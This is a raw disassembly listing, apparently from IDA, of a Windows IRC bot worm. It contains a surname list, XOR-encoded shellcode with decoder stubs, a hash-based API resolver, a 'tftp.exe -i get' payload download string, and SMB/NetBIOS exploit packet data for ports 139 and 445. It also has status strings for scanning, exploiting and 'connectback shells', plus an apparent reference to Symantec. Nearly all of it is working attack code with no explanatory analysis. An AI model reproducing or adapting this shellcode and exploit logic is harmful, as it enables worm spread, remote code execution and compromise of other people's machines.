aBisho db 'Bisho',0 ; DATA XREF: ___:0042DE5Co
align 4
aBisema db 'Bisema',0 ; DATA XREF: ___:0042DE58o
align 10h
aBir db 'Bir',0 ; DATA XREF: ___:0042DE54o
aBinion db 'Binion',0 ; DATA XREF: ___:0042DE50o
align 4
aBickel db 'Bickel',0 ; DATA XREF: ___:0042DE4Co
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DE48o
align 10h
aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DE44o
aBetti db 'Betti',0 ; DATA XREF: ___:0042DE40o
align 10h
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DE3Co
align 10h
aBernston db 'Bernston',0 ; DATA XREF: ___:0042DE38o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DE34o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DE30o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DE2Co
align 4
aBergson db 'Bergson',0 ; DATA XREF: ___:0042DE28o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DE24o
align 4
aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DE20o
align 4
aBellini db 'Bellini',0 ; DATA XREF: ___:0042DE1Co
aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DE18o
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DE14o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DE10o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DE0Co
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DE08o
align 4
aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DE04o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DE00o
aBedford db 'Bedford',0 ; DATA XREF: ___:0042DDFCo
aBeder db 'Beder',0 ; DATA XREF: ___:0042DDF8o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DDF4o
aBean db 'Bean',0 ; DATA XREF: ___:0042DDF0o
align 4
aBeal db 'Beal',0 ; DATA XREF: ___:0042DDECo
align 4
aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DDE8o
align 4
aBayo db 'Bayo',0 ; DATA XREF: ___:0042DDE4o
align 4
aBayles db 'Bayles',0 ; DATA XREF: ___:0042DDE0o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DDDCo
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DDD8o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DDD4o
align 10h
aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DDD0o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DDCCo
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DDC8o
align 10h
aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DDC4o
aBarry db 'Barry',0 ; DATA XREF: ___:0042DDC0o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DDBCo
align 10h
aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DDB8o
aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DDB4o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DDB0o
align 10h
aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DDACo
aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DDA8o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DDA4o
align 10h
aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DDA0o
aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DD9Co
align 4
aBanta db 'Banta',0 ; DATA XREF: ___:0042DD98o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DD94o
align 4
aBallew db 'Ballew',0 ; DATA XREF: ___:0042DD90o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DD8Co
align 4
aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DD88o
align 10h
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DD84o
align 4
aBailar db 'Bailar',0 ; DATA XREF: ___:0042DD80o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DD7Co
aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DD78o
aBady db 'Bady',0 ; DATA XREF: ___:0042DD74o
align 4
aBackus db 'Backus',0 ; DATA XREF: ___:0042DD70o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DD6Co
align 10h
aAzima db 'Azima',0 ; DATA XREF: ___:0042DD68o
align 4
aAyling db 'Ayling',0 ; DATA XREF: ___:0042DD64o
align 10h
aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DD60o
aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DD5Co
aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DD58o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DD54o
aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DD50o
align 10h
aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DD4Co
align 4
aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DD48o
align 4
aArky db 'Arky',0 ; DATA XREF: ___:0042DD44o
align 4
aArjas db 'Arjas',0 ; DATA XREF: ___:0042DD40o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DD3Co
align 10h
aArellano db 'Arellano',0 ; DATA XREF: ___:0042DD38o
align 4
aArduini db 'Arduini',0 ; DATA XREF: ___:0042DD34o
aArbia db 'Arbia',0 ; DATA XREF: ___:0042DD30o
align 4
aAntos db 'Antos',0 ; DATA XREF: ___:0042DD2Co
align 4
aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DD28o
aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DD24o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DD20o
align 10h
aAndron db 'Andron',0 ; DATA XREF: ___:0042DD1Co
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042DD18o
align 4
aAndo db 'Ando',0 ; DATA XREF: ___:0042DD14o
align 4
aAndel db 'Andel',0 ; DATA XREF: ___:0042DD10o
align 4
aAnand db 'Anand',0 ; DATA XREF: ___:0042DD0Co
align 4
aAmsden db 'Amsden',0 ; DATA XREF: ___:0042DD08o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: ___:0042DD04o
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042DD00o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: ___:0042DCFCo
align 10h
aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042DCF8o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042DCF4o
aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042DCF0o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: ___:0042DCECo
align 4
aAllison db 'Allison',0 ; DATA XREF: ___:0042DCE8o
aAleks db 'Aleks',0 ; DATA XREF: ___:0042DCE4o
align 4
aAlda db 'Alda',0 ; DATA XREF: ___:0042DCE0o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042DCDCo
align 4
aAlavi db 'Alavi',0 ; DATA XREF: ___:0042DCD8o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042DCD4o
align 4
aAdorno db 'Adorno',0 ; DATA XREF: ___:0042DCD0o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: ___:0042DCCCo
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042DCC8o
align 4
aAddison db 'Addison',0 ; DATA XREF: ___:off_42DCC4o
aAdams db 'Adams',0 ; DATA XREF: ___:0042DCC0o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042DCBCo
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42DCB8o
align 10h
byte_431910 db 50h ; DATA XREF: ___:0040ADEFo
; ___:0040ADFCr
db 43h, 2 dup(0)
dword_431914 dd 7C7325h ; DATA XREF: ___:0040AE9Ao
dword_431918 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o
dword_431920 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo
; sub_41AA42:loc_41AB05o
dword_431924 dd 334B32h ; DATA XREF: ___:0040AF94o
dword_431928 dd 5058h ; DATA XREF: ___:0040AF86o
; sub_41AA42+AAo
dword_43192C dd 4B32h ; DATA XREF: ___:0040AF76o
; sub_41AA42+98o
dword_431930 dd 454Dh ; DATA XREF: ___:0040AF5Do
; sub_41AA42+7Eo
dword_431934 dd 3839h ; DATA XREF: ___:0040AF4Do
; sub_41AA42+6Co
dword_431938 dd 544Eh ; DATA XREF: ___:0040AF3Do
; sub_41AA42+5Ao
dword_43193C dd 3539h ; DATA XREF: ___:0040AF2Fo
; sub_41AA42+46o
dword_431940 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao
dword_431948 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co
; sub_40AFEA+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o
; sub_418211+5o
align 4
jmp short loc_431958
; ---------------------------------------------------------------------------
loc_431956: ; CODE XREF: ___:loc_431958p
jmp short loc_43195D
; ---------------------------------------------------------------------------
loc_431958: ; CODE XREF: ___:00431954j
call loc_431956
loc_43195D: ; CODE XREF: ___:loc_431956j
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_431964: ; CODE XREF: ___:00431969j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_431964
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_43197A: ; CODE XREF: ___:0043197Fj
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_43197A
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_431A1C
jnz short loc_431A08
retn
; ---------------------------------------------------------------------------
loc_431A08: ; CODE XREF: ___:00431A05j
; ___:00431A15j
call near ptr loc_431A0D+1
loc_431A0D: ; CODE XREF: ___:loc_431A08p
add [edx+0], ch
call sub_431A1C
jz loc_431A08
retn
; =============== S U B R O U T I N E =======================================
sub_431A1C proc near ; CODE XREF: ___:00431A00p
; ___:00431A10p
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_431A1C endp
; ---------------------------------------------------------------------------
align 4
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40C124+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o
align 4
dd 5 dup(0)
dword_431AC8 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r
; sub_401ACD+1DC9o ...
off_431ACC dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr
dword_431AD0 dd 0 ; DATA XREF: sub_40B64A+2Eo
; ___:0040D495w ...
dword_431AD4 dd 1 ; DATA XREF: sub_40BACD+1Fr
dword_431AD8 dd 1 ; DATA XREF: sub_40BACD+3B3r
dword_431ADC dd 0 ; DATA XREF: sub_40BACD+292r
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40E206h, 0
dd 2 dup(1), 0
aNet139 db 'net139',0
align 4
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40DF8Eh, 0
dd 2 dup(1), 0
aNet445 db 'net445',0
align 4
dd 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40DF8Eh, 0
dd 2 dup(1), 0
aAsn80 db 'asn80',0
align 4
dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
dd 50h, 40D2D9h, 0
dd 2 dup(1), 0
aAsn445_0 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D2D9h, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D2D9h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn139_0 db 'asn139',0
align 4
db 2 dup(0)
byte_431CAA db 1 ; DATA XREF: sub_401ACD:loc_4037E6r
; sub_401ACD+1D23o
aAsn445_1 db 'asn445',0
align 4
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_431CD6
; =============== S U B R O U T I N E =======================================
sub_431CC6 proc near ; CODE XREF: sub_431CC6:loc_431CD6p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_431CCE: ; CODE XREF: sub_431CC6+Cj
xor byte ptr [edx+ecx], 99h
loop loc_431CCE
jmp short loc_431CDB
; ---------------------------------------------------------------------------
loc_431CD6: ; CODE XREF: ___:00431CC4j
call sub_431CC6
loc_431CDB: ; CODE XREF: sub_431CC6+Ej
jo short near ptr dword_431C64+12h
cwde
cdq
cdq
retn
sub_431CC6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
align 4
dword_431E58 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o
unk_431E64 db 2Dh ; - ; DATA XREF: sub_40B64A+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_431E84 db 2Dh ; - ; DATA XREF: sub_40B719+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_431ECC db 2Dh ; - ; DATA XREF: sub_40B785+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo
dword_431F08 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431F18 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40B7DA+14o
dd 7473694Ch, 3Ah
unk_431F34 db 2Dh ; - ; DATA XREF: ___:0040BA13o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_431F68 db 2Dh ; - ; DATA XREF: ___:0040B921o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_431F98 db 2Dh ; - ; DATA XREF: sub_40BA56+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_431FB8 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_431FD4 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_432008 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_34 db '- Failed to start server, error: <%d>.',0
unk_432040 db 2Dh ; - ; DATA XREF: sub_40BACD+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 10h
unk_432070 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start server, error: <%d>.',0
align 4
unk_4320A4 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_4320D8 db 2Dh ; - ; DATA XREF: sub_40BACD+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_36 db ' Failed to start server, error: <%d>.',0
align 4
unk_43210C db 2Dh ; - ; DATA XREF: sub_40C124+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_432134 db 2Dh ; - ; DATA XREF: sub_40C124+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43216C db 2Dh ; - ; DATA XREF: sub_40C124+3E6o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_4321AC db 2Dh ; - ; DATA XREF: sub_40C124+38Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_4321E4 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432218 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
dword_43224C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h
; DATA XREF: sub_40C59B+92o
dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CADA+B2o
align 10h
dword_432300 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao
dword_432308 dd 10FF8h ; DATA XREF: sub_40CADA+79o
dword_43230C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o
dword_432314 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43239C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4323CC dd 0 ; DATA XREF: sub_40CF04+44o
dd 800000D4h, 0
unk_4323D8 db 81h ; │ ; DATA XREF: sub_40CFDE+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_432424 db 41h ; DATA XREF: sub_40D07C+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_432468 proc near ; DATA XREF: ___:0040D35Bo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_432564
push dword ptr [esi]
push 63D61209h
call sub_43257A
mov [esi+8], eax
call sub_43252D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_43257A
mov [esi+0Ch], eax
call sub_4324DF
push dword ptr [esi+4]
push 4C0297FAh
call sub_43257A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_432468 endp
; =============== S U B R O U T I N E =======================================
sub_4324DF proc near ; CODE XREF: sub_432468+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_432508
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_4324DF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432508 proc near ; CODE XREF: sub_4324DF+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_432517: ; CODE XREF: sub_432508+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_432524
inc ebx
jmp short loc_432517
; ---------------------------------------------------------------------------
loc_432524: ; CODE XREF: sub_432508+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_432508 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43252D proc near ; CODE XREF: sub_432468+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_432545: ; CODE XREF: sub_43252D+1Ej
cmp [ecx], ebx
jz short loc_43254D
mov ecx, [ecx]
jmp short loc_432545
; ---------------------------------------------------------------------------
loc_43254D: ; CODE XREF: sub_43252D+1Aj
mov edx, edi
loc_43254F: ; CODE XREF: sub_43252D+2Aj
cmp [edx+4], ebx
jz short loc_432559
mov edx, [edx+4]
jmp short loc_43254F
; ---------------------------------------------------------------------------
loc_432559: ; CODE XREF: sub_43252D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_43252D endp
; =============== S U B R O U T I N E =======================================
sub_432564 proc near ; CODE XREF: sub_432468+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_432564 endp
; =============== S U B R O U T I N E =======================================
sub_43257A proc near ; CODE XREF: sub_432468+16p
; sub_432468+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_432590: ; CODE XREF: sub_43257A+33j
jecxz short loc_4325CA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_43259D: ; CODE XREF: sub_43257A+2Dj
lodsb
cmp al, ah
jz short loc_4325A9
ror edi, 0Dh
add edi, eax
jmp short loc_43259D
; ---------------------------------------------------------------------------
loc_4325A9: ; CODE XREF: sub_43257A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_432590
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_4325CA: ; CODE XREF: sub_43257A:loc_432590j
; sub_43257A:loc_4325CAj
jmp short loc_4325CA
sub_43257A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4325D0 proc near ; DATA XREF: ___:0040D309o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_432622
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_4325ED: ; CODE XREF: sub_4325D0+38j
jecxz short loc_43261D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_4325F8: ; CODE XREF: sub_4325D0+32j
lodsb
test al, al
jz short loc_432604
ror edx, 0Dh
add edx, eax
jmp short loc_4325F8
; ---------------------------------------------------------------------------
loc_432604: ; CODE XREF: sub_4325D0+2Bj
cmp edx, [esp+arg_0]
jnz short loc_4325ED
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_43261D: ; CODE XREF: sub_4325D0:loc_4325EDj
mov [esp+arg_0], ebx
retn
sub_4325D0 endp
; =============== S U B R O U T I N E =======================================
sub_432622 proc near ; CODE XREF: sub_4325D0+7p
